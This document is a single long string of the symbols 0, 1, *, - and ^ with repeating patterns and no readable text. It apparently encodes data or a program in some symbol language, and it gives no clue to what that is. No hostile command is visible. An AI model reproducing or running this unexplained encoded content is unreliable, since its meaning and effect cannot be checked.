0-*101*0010-**1**01*00-*01**01*10101**10^1*10101**1*01101*0-**0011**1*011**10-**1*010-*101*0010-*101*0010-**1**01**-**1*0^1*0-*00-1**01*0101*0010-**1*010-**1**01**01*0101*0010-*-*00-**011**01*0101*0010-*101*0010-**1**01**01*00-*0-*00-*001101**01*0101*0010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01*0101*11**011*1*101*11**011*1**1**11*0-*00-01**1*0101*0010-*11**10-*101*0010-**1*010-**1**01**01*01*-01**10^1**1*00101*0-**^1**1*0101*0010-**1*010-*11**10-*101*0010-**1**01**01**01*01**01**11*1*1**01**11*1**1**11*0-**1101**1*0101*0010-*101*0010-*101*0010-**1*010-*11**10-**1**01**-**1*00101*0-*001*1**1**01*010-*101*0010-**1*010-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1**01**01*0101*0010-**1*010-**1*010-**1**01*0101*0010-**1**01**01**01*00-*011**0-**001*-**1101**1**01*010-*11**10-*101*0010-**1**01**01*010101*01*0010^1**1*0-*00-1**01*0101*0010-**1*010-**1**01**01*01*1*01*0010^1*-*00-*001011**01**01*010-*101*0010-*101*0010-**1**01**01**-**1*0^1*0-**-**01*0101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01*0^11011**010^1**1*01101*0-*001^1**1**01*010-*101*0010-**1*010-**1**01**01**-**1*0^1*0-**-**01**01*010-**1**01*0101*0010-**1**01**01*010-**1**01**01**01**01*010101011**010^1*^1^11**10^1*0-*010-*10-11011*0010^1*0-*01**0101^11**010^1*10101*0^1*-*0011*1*001*011**10-**1*010-*101*0010-**1*010-**1**01**01**01*0101*0010-*101*0010-**1**01**01**01*00-*010-*0-*01**0101^11**010^1*10101*0-**01*00-*00-*00-*010-*00^1101**10^1*0-*01**0101^11**010^1*10101**11*-**-01*001*0101*0010-*101*0010-**1*010-**1*010-**1**01**01**01*11**10^1**1*11**10^1*1**0101^11**010^1*10101*0101*0-*00^11**1**01*01011*1**010^1*11**-*00-**001*0101*0010-*101*0010-*11**10-**1**01**01**-**1*0^1*0-**-**01*0101*0010-**1*010-**1**01**01**01**01**01*0-**011**01**01**01*0101*0010-**1*010-**1*010-**1**01**01*0^1*0-**-**01*011**10-*101*0010-**1**01**01*00101**01**01*0-**011**01**01*010-*101*0010-*101*0010-**1**01**01**-*1011*1**010^1**1**01**01**01*011**1*11011**10^1*11**1**010-*1**10^1*10101*00-**1**01*01^1*-*001*01*001*0101*0010-**1*010-**1*010-**1**01*00101*001**01**0-*010-*0101*0-***1**1*011**10-**1*010-*101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*00-*010-*0-*01**0101^11**010^1*10101*0-*00-*01**0101^11**010^1*10101**01*-**0^1*001*011**10-*101*0010-**1**01**01**01**01**01**01**01**01*010101011**010^1*^1^11**10^1*0-*010-*10-11011*0010^1*0-*01**0101^11**010^1*10101*1*1*-*001*01*001*0101*0010-**1*010-**1**01**01**01**01**01*0101*0010-*101*0010-**1**01**01**01**01**01**01**0-101**10^1*1**01*1011**011*1*10101*0-**0-101**10^1*0-**0-101**10^1**1**0-101**10^1*1**0101^11**010^1*10101*00^1101**10^1*01011*-**01011*001**01**01**01**01*0101*0010-**1**01**01**01**01**01*0101*0010-*101*0010-**1*010-**1**01**01*011**10-*11**10-**1*00-*010-*001010101**10^1*1**01*1011**011*1*10101*00-1101**10^1*0-*00-*00-*00-*010-*001010101**10^1*10-*-**^11*001*011**10-**1**01**01**01**01*010-**1**01**01**01**01*010-*101*0010-**1**01*0101*0010-**1**01**01**0-101**10^1*1**01*1011**011*1*10101*0-**0-101**10^1*0-**0-101**10^1**1*0101*0010-**-101**10^1*1**0101^11**010^1*10101*00^1101**10^1*00-*-**00-*001**01**01**01**01**01**01**01**01**01**01**01**01*0101*0010-*101*0010-**1**01**01*010-*101*0010-*11**10-**1**01**01*011**10-*11**10-**1*00-*010-*001010101**10^1*1**01*1011**011*1*10101*00-1101**10^1*00-1101**10^1*0-*00-*00-*00-*00-*010-*001010101**10^1*00^^-**0-1*001**01*010-*101*0010-*11**10-*101*0010-**1**01**01**01*0-**-**01**01*010-*101*0010-**1*010-*101*0010-**1**01**01*0101**001*00101*0-***1**1*011**10-**1*010-**1**01**01**01*01010-01**10^1**1*0^1*0-*00-1**01**01*010-*11**10-*101*0010-*101*0010-**1**01**01**01**01**01*01101*0-*001*1**1*0101*0010-*101*0010-*11**10-*101*0010-**1**01*001***1*0^1*0-*00-1**01*011**10-*101*0010-*101*0010-**1**01**01*011**1**010-*1**10^1*10101**1*0^1*0-*001^1**1*0101*0010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1*010-**1**01**01*0-**001**01*0-**001**01**01**01*00101*00101**01**01*01101**0101101**11*1*10-**1**01**01**01*010-*-*00^101*001**01*010-**1*010-*101*0010-*101*0010-*101*0010-*11**10-*101*0010-**1**01**01*011**10-**1**01**01*00-*010-**1**01**01*01^1*-**-1**1*011**10-**1*010-*101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*0-**001**01*0-**001*00101*010-*0101**01**01*01101**01**01**01*0-*00^11*-*0011*1*001*0101*0010-**1**01**01*0101*00-**001**01*011**10-**1*010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01**01**11*0-**0101**1*0101*0010-**1*010-*101*0010-*11**10-**1*010-*101*0010-*101*0010-**1**01**01**01**01**01*00-*0-*00-01**1**01*010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01*0^1*0-***1**1*0101*0010-*101*0010-*101*0010-**1*010-**1*010-**1**01**01**01**01*00-*01**0101^11**010^1*10101*0011*0-**0011**1*0101*0010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1*010-**1**01**01**01**01**01**01**01*001***1*0101*0010-*1^1*-*0010-**1*0101*0010-*11**10-**1*010-*101*0010-*101*0010-**1*010-**1**01**01**01**01*01101*01011*0-*0010101**1**01**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01*0101*0010-*10110101**010^1*101*0010-*0^1*-*00^11**1*0101*0010-*11**10-**1*010-**1*010-**1**01**01**01**-**1*01101*0-*001*1**1*0101*0010-*11**10-**1*010-*101*0010-*101*0010-**1**01**01**01**-**1**11*0-*001^1**1*011**10-**1**01*010101*11*0011*1**1*0011*00-*001101**01*0101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01*0-**-**01*0101*0010-**1*010-*101*0010-*11**10-*101*0010-**1*010-*101*0010-**1**01**01**01**01*0101*0010-*0-*0-**0011**1*0101*0010-*101*0010-*101*0010-**1**01**01*010-**1**01**01**01**01*00-*00-*001**10--1**11*1*10101*1**01*1011**011*1*10101*0-*00-*00-*001**10--1**11*1*10101*-1*0-**1^1*-*00-**01**01**01**01**01*00-*010-**1**01**01*00-*00-**01**01*010110-1**10^1*101*001**0101^11**010^1*10101*1*1*-*0011011**1**01**01*011**10-**1*010-*101*0010-**1**01**01**01*00101*0-*00-1**01*0101*0010-*11**10-*101*0010-*101*0010-**1*010-*101*0010-**1*010-**1**01**01*011**10-*11**10-*11**10-**1*00-*010-**1*00-*00-*01^1*-***01*001*0101*0010-*11**10-*101*0010-**1**01**01*0-*00-**011**01*011**10-**1*010-**1**01**01*00-*010-*-*00-**011**01**01*010-*101*0010-*101*0010-*101*0010-**1**01**01**01*0-**-**01**01*010-*101*0010-**1**01**01*0^11011**010^1**1**01*0-**-**01*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1**01**01**01*010-*101*0010-**1*010-*101*0010-**1**01**01**01*01101*0-*001*1**1*0101*0010-*101*0010-**1**01**01**01**-**1*0^1*0-*001011**01*011**10-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-**1**01*001***1*01101*0-*001^1**1**01*010-*101*0010-**1*010-*11**10-**1**01**01*01*110-*0010^1*^1*0-*001*1**1*011**10-**1*010-**1**01**01*01*110-*0010^1*-*00-*001011**01*0101*0010-**1*010-*101*0010-**1**01**01*01*110-*0010^1**1*0-*00-1**01**01*001**-**01**001*011**10-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*01101*0-**0101**1*011**10-*101*0010-*101*0010-**1*010-**1*010-**1**01**01*01011**01*01101*0-**^1**1*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01*0101101011**10^1**1*01101*0-*001^1**1*0101*0010-*101*0010-**1*010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01*00-*010-*0011*0-**1101**1*011**10-*101*0010-**1*010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*00-*010-*0011*0-**1101**1*0101*0010-**1*010-*11**10-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*00-*010-*0011*0-**1101**1*011**10-*101*0010-**1**01**01*001***1**01*0-**011**01**01*010-**1**01**01**01*00101**01**01*0-*001101**01*011**10-*101*0010-**1*010-**1**01**01*01011*1**010^1**1*0^1*0-***1**1*0101*0010-**1*010-**1**01**-**1*0-*00-*001101**01**01**01**01**01**01*010-*11**10-*101*0010-*101*0010-**1**01**01**0-^^1*1**01*1011**011*1*10101**-^^1*0-*0-*0011011**1**01**01**01**1*00-**11**001**01*010-*101*0010-*101*0010-**1**01**01**01**011**11**1*01101*0-***1**1*0101*0010-*101*0010-*11**10-*101*0010-**1**01**01**01**01*00101*0-***1**1**01**01*0101*0010-**1**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1*010-**1*010-**1**01**01**01*00-*010-*001^101**10^1*0-*00-*0101*0010-*101*0010-*00-0011**10^1*0-*0101*0010-*101*0010-*00-0011**10^1*0-*00-*00-**01**10^11**10^1*00^1101**10^1*101*0010-*0-*00-**1^101**10^1*1**0101^11**010^1*10101*^10^-*00^^1*01*0101*0010-**1*010-**1*010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01**01*00-*010-*001^101**10^1*0-*00-*0101*0010-*101*0010-*00-0011**10^1*0-*0101*0010-*101*0010-*00-0011**10^1*0-*00-*00-**01**10^11**10^1*^1*-*0010^1*101*1011*0010^1*0-*0101*0010-*0-**1^101**10^1*1**0101^11**010^1*10101*01*^-**01*1*01*0101*0010-**1**01**01**01**01*010-*101*0010-**1*010-*11**10-**1**01**01*010101011**010^1*^1^11**10^1*10-11011*0010^1*0-*01**0101^11**010^1*10101*1*1*-*0011*1*001*0101*0010-*101*0010-**1**01**01*010-**1**01**01**01**01**01**01**01**01**01**01*010-*101*0010-*101*0010-*11**10-**1**01**01**01**01*00-*00-*001**10--1**11*1*10101*1**01*1011**011*1*10101*101*0010-*00-0011**10^1*00-0011**10^1*101*0010-*101*0010-*00-0011**10^1*0010^11**10^1*0-*00-*001**10--1**11*1*10101**001101**10^1*101*0010-*0-*0101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*00-0011**10^1*101*0010-*00^1101**10^1*0-**-0011**10^1*0010^11**10^1*101*0010-*101*0010-*00^1101**10^1*101*0010-*01101^-*001^-*01**01**01**01**01*0101*0010-*11**10-**1**01**01**01**01**01*0101*0010-**1**01**01*0101*0010-*001101011**10^1*101*0010-*101**1*0010^1*101*0010-*101*0010-*-01*-**0^1*001**01**01**01*010-**1**01*0101*0010-*101*0010-**1**01**01*0101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-**1*0101*0010-*101*0010-*101*0010-*01101*-*0010^1*001*0101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**01**01**01*01101*0-*001*1**1*0101*0010-**1**01**-**1*0011*00-*00^1**01*0101*0010-*101*0010-**1*010-**1*010-*101*0010-**1**01**01**-**1*01101*0-**^1**1**01*010-*101*0010-**1*010-**1**01**01**01**-**1*00101*0-*00-1**01**01*010-*101*0010-*101*0010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01**01*00-*010-*0-*01**0101^11**010^1*10101*0-*00-*01**0101^11**010^1*10101**01*-**0^1*001*0101*0010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01*00-*01101*0-*001^1**1**01**01**01**01**01*010-**1*010-*101*0010-*101*0010-**1**01**01*0101*0010-*0-*00-*0101*0010-*101*0010-**101011**10^1*101*0010-*101*0010-*00101*-*001*01*001*0101*0010-*101*0010-**1**01**01**01**01**01**01**01**01**01**01**01**01**01**01*010-*11**10-*101*0010-**1**01**01*010101011**010^1*^1^11**10^1*101*0010-*101*0010-*10-11011*0010^1*^1*-*0010^1*101*0010-*0-*0-11*-*001*11*001**01**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-*11**10-**1*010-**1**01**01**01*00-*010-*001^101**10^1*101*0010-**1*00-*00-*00-**^1101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*0-*01**0101^11**010^1*10101*-11*-**10-*001**01**01*011**10-**1*010-*101*0010-*101*0010-**1**01**01**01**01**11*0-**^1**1**01**01**01*010-*101*0010-**1**01**01**01**01*00101*0-**-**01**01*010-*11**10-*101*0010-**1**01**01*0^11011**010^1**1*0^1*0-***1**1*0101*0010-*101*0010-**1*010-*101*0010-**1**01**011**11**1*00101*0-***1**1**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01*010-**1*010-*11**10-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**01*00-*010-**1*00-*010-**1*00-*010-*0-*010-*10^1101**10^1*10110101**010^1*0-*010^1101**10^1*10110101**010^1*0-*00-*010-*0-*010-*0-*00-*00-*01**0101^11**010^1*10101*0-*010-*0-*0--00-**0-01*01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01*0101*0010-*11**10-**1*010-**1*010-*101*0010-**1**01**01*010101011**010^1*^1^11**10^1*10101011**010^1*^1^11**10^1*0-*01**01*1011**011*1*10101*10-11011*0010^1*10-11011*0010^1*0-*00-*01**0101^11**010^1*10101*0-*01**0101^11**010^1*10101**00^-*0011*01*01**01**01**01*010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01*00-*01**01*1011**011*1*10101*001^101**10^1*0-*00-*01**0101^11**010^1*10101*001^101**10^1*1**0101^11**010^1*10101**01*-**10101*001*0101*0010-**1*010-**1*010-**1**01**01**01*00-*01**01*10101**10^1*10101**1*00101*0-**0101**1*0101*0010-**1**01**01**01*001***1**01*0-*001101**01*011**10-**1*010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*0^^101**10^1**1**11*0-**1101**1*0101*0010-**1*010-*11**10-**1**01**01**01**01**01*00101*0-*00-1**01*011**10-*101*0010-*101*0010-*101*0010-**1**01**01*011**1**010-*1**10^1*10101**1*00101*0-*0010101**1*0101*0010-*101*0010-**1*010-**1**01**01*01**001*0010^1**1*0^1*0-***1**1*0101*0010-*101*0010-**1*010-*101*0010-**1**01*0^11011**010^1**1*0^1*0-*001*1**1*0101*0010-*101*0010-*101*0010-**1*010-**1*010-**1**01**01**01**01**01**11*0-*001^1**1**01**01*011**10-*101*0010-**1*010-**1**01*0101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01*00-*010-**1*00-*0101*0010-**1**01**1^101**10^1**1**01*0101*0010-*101*0010-*00101^1**10^1*0-*0101010101**10^1**11*0-**1^101**10^1*1**0101^11**010^1*10101*1*0^-*00110-*001**01*010-*101*0010-*101*0010-**1**01*01010-01**10^1**1**01*0-*00-1**01*0101*0010-*11**10-*101*0010-**1*010-**1*010-**1**01**01**01*01011**01**11*0-*001^1**1**01**01*0101*0010-*101*0010-**1*010-**1**01**01**01*00101*0-*00-1**01**01**01**01**01*0101*0010-**1**01**01**01*011**10-*101*0010-*101*0010-*101*0010-**1*010-**1*010-**1**01**01*011**10-*11**10-**1*00-*010-*11**10-*001^101**10^1*0-*00-*00-*00-*00-*00-*010-*0-*00-**1^101**10^1*1**0101^11**010^1*10101*01*^-*00^-*001**01**01*011**10-*101*0010-*101*0010-*101*0010-**1**01*0101*0010-**1*010-**1**01**01*00-**01*00-**01*0101*0010-*101*0010-*0-*010101*-*00-11**1**01**01**01**01**01**01**01**01**01**01**01*010-**1*010-*101*0010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01*00-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*001^101**10^1*0-**-0101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*11011*-*00^-*001*0101*0010-*101*0010-**1*010-**1*010-**1**01**01**01*01**001*0010^1**1*01101*0-*001^1**1*011**10-*101*0010-**1**01**01*010-*101*0010-*101*0010-*101*0010-**1**01**01**01**01**1^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*00-**01**01*00-*00-**1^101**10^1*1**0101^11**010^1*10101**11*-***11*001**01**01**01*010-*101*0010-*101*0010-**1**01**01**01*00101*0-*00-1**01*011**10-**1*010-*101*0010-**1**01**01*0^^101**10^1**1*0^1*0-***1**1*011**10-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*0101**001*01101*0-**^1**1*0101*0010-*101*0010-**1*010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01**01*00-**01*00-*011**10-*11**0-**01*010-*11**10-*11**10-**1**01**01**011*-*0010^1*001**01**01**01**01*0101*0010-**1**01**01**01**01**01*011**10-**1**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*0101010101**10^1*0-*0101010101**10^1*001^101**10^1*1**0101^11**010^1*10101*10^^-*00--*001**01**01**01*010-*11**10-*101*0010-**1**01**01*0^1*0-**-**01*0101*0010-*101*0010-**1*010-*11**10-**1**01**01**01*010101011**010^1**1*01101*0-*001^1**1*0101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**01*01**001*0010^1**1*01101*0-*001^1**1**01*010-*101*0010-*101*0010-**1**01**01**01**-**1*00101*0-*00-1**01**01**01**01**01*01011*1**010^1**1*0-*00-*001101**01**01*010-*101*0010-*101*0010-*11**10-**1**01**01**011**11**1*01101*0-*001*1**1**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01*011**10-**1**01**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01*010^1101**10^1*10^-1**10^1*1*0011**010^1*101*011**10^1*101*0010-*10-101**010^1*0-*0^10^-**0-1*001**01*010-*101*0010-**1**01**01**01**01**01**01**01*0101*0010-**1**01**01**01*011**10-*101*0010-**1**01*0101*0010-**1**01**01**-*1**10^1*1**01*1011**011*1*10101*001^101**10^1*1**0101^11**010^1*10101*00-*1**10^1*00-*1**10^1*1**0101^11**010^1*10101**110101**10^1*0-*0101*0010-*0-*00-**1^101**10^1*1**0101^11**010^1*10101*01*^-*00110^1*01**01*010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01**01**01*0101*0010-**1**01**01**01**01**011*1**10^1*1**01*1011**011*1*10101**11*1**10^1*1**0101^11**010^1*10101*0-*001**10-1101*1*10101*001^101**10^1*1**0101^11**010^1*10101**11*1**10^1**11*1**10^1*1**0101^11**010^1*10101*0-*001**10--1**11*1*10101**11*1**10^1*1**0101^11**010^1*10101*0-*001**^101^^1*10101**110101**10^1*0-*0101*0010-*0-*00-**1^101**10^1*1**0101^11**010^1*10101*11010^-*001^-*01*011**10-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*0101*0-**0011**1**01*010-*101*0010-*11**10-**1**01**01**-**1*0^1*0-**-**01*0101*0010-*101*0010-**1*010-**1**01**01*01011**01*0^1*0-**-**01**01*010-*101*0010-*11**10-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*0^--**10^1*101*011**10^1*1010-11**10^1**1*0101*0010-*101*0010-*101*0010-*0^1*-**0^1*001**01**01**01**01*0101*0010-*101*0010-*11**10-*101*0010-**1*010-**1*010-*101*0010-**1**01**01*011**10-**1*00-*010-*001^101**10^1*0-*0101*0010-*0-*00-*00-*010-*0-**01*00-*00-*00-*011**1*-11**10^1*10101*1**0101^11**010^1*10101*001^101**10^1*0-*0101*0010-*00-*101010101**10^1**1*00-*00-*00-*011**1*-11**10^1*10101*1**0101^11**010^1*10101*001^101**10^1*1**0101^11**010^1*10101*11*^-**110101*01*011**10-**1*010-*101*0010-**1**01**01**-**1*0^1*0-**-**01*0101*0010-**1*010-**1*010-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1*0101*0010-**1**01*0101*0010-**1**01**01*010-**1*010-*101*0010-**1**01**01**01**01**01**01**1^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*00-*00-**01**1101011**10^1*00^1101**10^1*101*0010-*101*0010-*001^101**10^1*1**0101^11**010^1*10101*0-*00-1*-*00110-*001*0101*0010-*101*0010-*101*0010-**1*010-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*^1*0-**1101**1*0101*0010-**1*010-*101*0010-**1**01*010101011**010^1**1**01*0-*00-1**01**01*010-*101*0010-*101*0010-**1*010-**1**01**01**01*011***1*01101*0-*001*1**1*0101*0010-**1*010-*11**10-*101*0010-**1**01**01**01**-**1*01101*0-*001*1**1*0101*0010-**1*010-*101*0010-*101*0010-*11**10-**1**01**01*0101*0010-*101*0010-*1101*0-**0101**1**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01**01**01*011**10-**1*010-**1**01*0101*0010-**1**01*0101*0010-**1*010-**1**01**01*010^1101**10^1*10^-1**10^1*101*011**10^1*1*0011**010^1*^1*11**10^1*0-*01**11**10^1*11010^-*00--*001**01*010-*101*0010-**1**01**01**01*0101*0010-**1**01*0101*0010-*101*0010-**1**01**01*010-*11**10-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*00-*00-*00-*00-**01**^1101**10^1*0-*00-**1^101**10^1*1**0101^11**010^1*10101**00^-*00110-*001**01*010-**1*010-*11**10-*101*0010-**1**01**01**01**01**01*01101*0-*001*1**1*0101*0010-*101*0010-**1*010-*101*0010-**1**01**-**1*0^1*0-*00-1**01*011**10-*101*0010-**1*010-**1**01**01**01*001***1*00101*0-*00-1**01*011**10-**1*010-**1**01**01**01*0-*00-*001101**01*011**10-**1*010-*101*0010-*101*0010-**1**01**01**01*01*11011**10^1**1*01101*0-*001^1**1*0101*0010-**1*010-**1**01*011**10-**1**01**01*010-*101*0010-*101*0010-*101*0010-**1**01**01*00-**01**01*0101*0010-*101*0010-*00101*-*00-11**1**01**01**01**01**01**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01*00-*00-*001**1*-01*1*10101*0-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*0-**1^101**10^1*0-**-0101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*0-1*-***001*01**01**01*011**10-*101*0010-*101*0010-**1**01*0101*0010-**1*010-**1**01**01*00-*01*00-**10^1*101*0010-*101*011**10^1*1*00-**10^1*101*0010-*101*0010-*101*0010-*101*0010-*101*0010-*1*0-1**10^1*101*0010-*^11*-*00-101*001*0101*0010-*101*0010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01**01*00-*011**0-*00-*0-1*0-*00-01**1**01**01*011**10-**1**01*0101*0010-**1*010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01**1^101**10^1**1*00-*010-*101*0010-*101*0010-**1**01*0101*0010-*0-**1^101**10^1*1**0101^11**010^1*10101*0-*001011*-***11*001*011**10-*101*0010-**1**01**01**01*0101101011**10^1**1*0^1*0-*00-1**01**01*010-*101*0010-**1**01**01*00-*01**01*-1**010^1*10101**1**01*0-*001*1**1**01*010-*101*0010-**1*010-*101*0010-**1**01*0^11011**010^1**1*0^1*0-*001*1**1**01**01*0101*0010-*101*0010-**1*010-*101*0010-**1**01*011**10-*101*0010-**1*010-**1**01**01**01**01*010-**1**01*010-**1*010-**1*010-**1**01*010-**1**01**01**01*010-**1*010-*0-*010-*-*00101101*001**01**01**01**01**01**01**01**01**01**01**01**01**01*010-*101*0010-*101*0010-**1**01**01**01**01**01**01**01**01**01**01**01*011**10-**1**01*0101*0010-**1*010-*101*0010-**1**01**01**01**01**1^101**10^1*1**01*1011**011*1*10101*0-*01**01*1011**011*1*10101*0-*01**01*1011**011*1*10101*0-*01**01*1011**011*1*10101*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*01**0-**01**01**01**01**1^101**10^1**1*00-*001**01**101*0010-**1*010110101**010^1*0-*00-*00-*00-*01**0101^11**010^1*10101*0-*00-*01**0101^11**010^1*10101*0-*01**0101^11**010^1*10101*0-*00-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*-*10-**101*1**01*1**01*010-**1**01**01*010101011**010^1**1*0-*00-**011**01**01**01*0101*0010-*11**10-**1**01**01**01*0-**011**01**01**01**01**01**01**01**01**01*011**10-**1*010-**1**01*0101*0010-*101*0010-**1**01*0101*0010-**1**01*0101*0010-**1*010-**1**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-**-**11*101*001**10^1*00-*101*001**10^1**11**11*101*001**10^1**11*101*001**10^1*1**01**11*1*101*001**10^1**11*00-**1**011**11**1**011*1**01**11*1*00-**1**011**1**011**1*010-011**010^1**1**01*010110-**010^1*0-*00-*0101010101**10^1*0-*0101010101**10^1*001^101**10^1*1**0101^11**010^1*10101*11*010-*001^-*01*0101*0010-*101*0010-**1*010-**1*010-*11**10-**1**01**01*011**10-*101*0010-*0-**11*0-*0010101**1**01**01**01**01**01**01**01**01*0101*0010-*101*0010-**1**01*011**10-**1*010-**1**01**01*010-*101*0010-*101*0010-**1**01**01*011**10-*11**10-**1*00-*010-*0-*010-**1*00-*010-**1*00-*010-**1*0101010101**10^1*10-*101010101**10^1*10-*0-*00-*00-*010-*001^101**10^1*0-*0101010101**10^1*0-*0101010101**10^1*0-*0101010101**10^1*^^-**10^1*101010101**10^1*10-*0-**1^101**10^1*1**0101^11**010^1*10101*1*1^-*001101101*01*011**10-**1*010-*101*0010-**1*010-**1**01**01**01**-**1*01101*0-*001*1**1**01**01*0101*0010-*11**10-**1**01**01**01*0^1*0-*001011**01**01*010-**1*010-*11**10-**1**01**01*0101**001*0^1*0-**-**01*0101*0010-*11**10-**1*010-**1**01**01**-**1*0^1*0-**-**01**01**01**01**01**01**01*0101*0010-*101*0010-**1*010-**1**01**01**01*011**10-*101*0010-**1*010-**1**01**01**01**01**01**01*00-*01**01*1011**011*1*10101**1*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*001^101**10^1*0-**-0101**10^1*0-*00-*00-*00-*00-*01**0101^11**010^1*10101*0-**1^101**10^1*1**0101^11**010^1*10101*-00^-**-001*01*011**10-**1*010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*0101*0010-**1*01011*0-**1101**1*0101*0010-**1*010-*101*0010-*101*0010-*11**10-*101*0010-**1*010-**1**01**01**01*00-*0101*0010-**1*011***1**01**01**01*0101*0010-*0-*001101*-*001*01*001*0101*0010-**1**01**01*010-**1**01*0101*0010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01*011**10-*11**10-*11**10-*11**10-**1*00-*010-*001^101**10^1*0-*010-*0-*00-*00-*00-*010-*0-*00-*010-**1*00-*010-*0-**1^101**10^1*1**0101^11**010^1*10101*1*0^-**0-1*001**01*010-*11**10-*101*0010-**1**01**01**01*01**01**11*1*1**01**11*1**1*01101*0-**0101**1**01*010-*101*0010-**1**01**01**01*001***1*0^1*0-*001011**01*0101*0010-*101*0010-**1**01**01**01*01*1^1**10^1**1*0^1*0-*00-1**01**01**01**01**01*011**10-**1*010-*101*0010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01**01*00-*010-**1*00-*010-*001^101**10^1*0-*00-*010-*0-*00-*010-*0-**1^101**10^1*1**0101^11**010^1*10101*01011*-***11*001**01*010-*101*0010-**1*010-*11**10-*101*0010-**1**01*00-*01**01*-1**010^1*10101**1*00101*0-**1101**1**01*010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01*00-*01**01*10101**10^1*10101**1*01101*0-*00-01**1*011**10-*101*0010-*101*0010-*101*0010-**1**01**01**01*01*11011**10^1**1*01101*0-*001^1**1*0101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*01011*1**010^1**1*01101*0-*001^1**1*0101*0010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01**01**-**1**11*0-*001^1**1*0101*0010-*101*0010-**1**01*00101**01*0-*00-*001101**01*0101*0010-*101*0010-*11**10-*101*0010-**1*010-*101*0010-**1*010-**1**01**01**01*00-*010-**1*00-*010-*0-*010-*0-*00-*00-*00-*00-*00-*00-*010-*0-*00-*010-*001^101**10^1*1**0101^11**010^1*10101*01011*-*00-101*001**01**01**01**01*0101*0010-*101*0010-*101*0010-**1*010-*11**10-**1**01**01*00-*01*00-**10^1*0-*0101*0010-*101*011**10^1*1*00-**10^1*101*0010-*0-*010101*-**0^1*001**01**01*0101*0010-**1**01*011**10-*101*0010-**1*010-**1*010-*101*0010-**1**01**01*00-**01*00-*00-**01*00-*00-*00-*001101*-**-1**1**01**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01**01**01**01*0101*0010-*101*0010-*11**10-**1*010-*101*0010-**1*010-**1**01**01*011**10-*11**10-*11**10-*11**10-*0-*00-*001**1*-01*1*10101*0-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*0-*00-**1^101**10^1*0-**-0101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101**10^-*00-^1*01*0101*0010-*101*0010-**1*010-**1**01**01**01*01011*1**010^1**1*00101*0-*001*1**1**01**01*0101*0010-**1*010-*101*0010-*101*0010-**1**01**01*00101*0-***1**1**01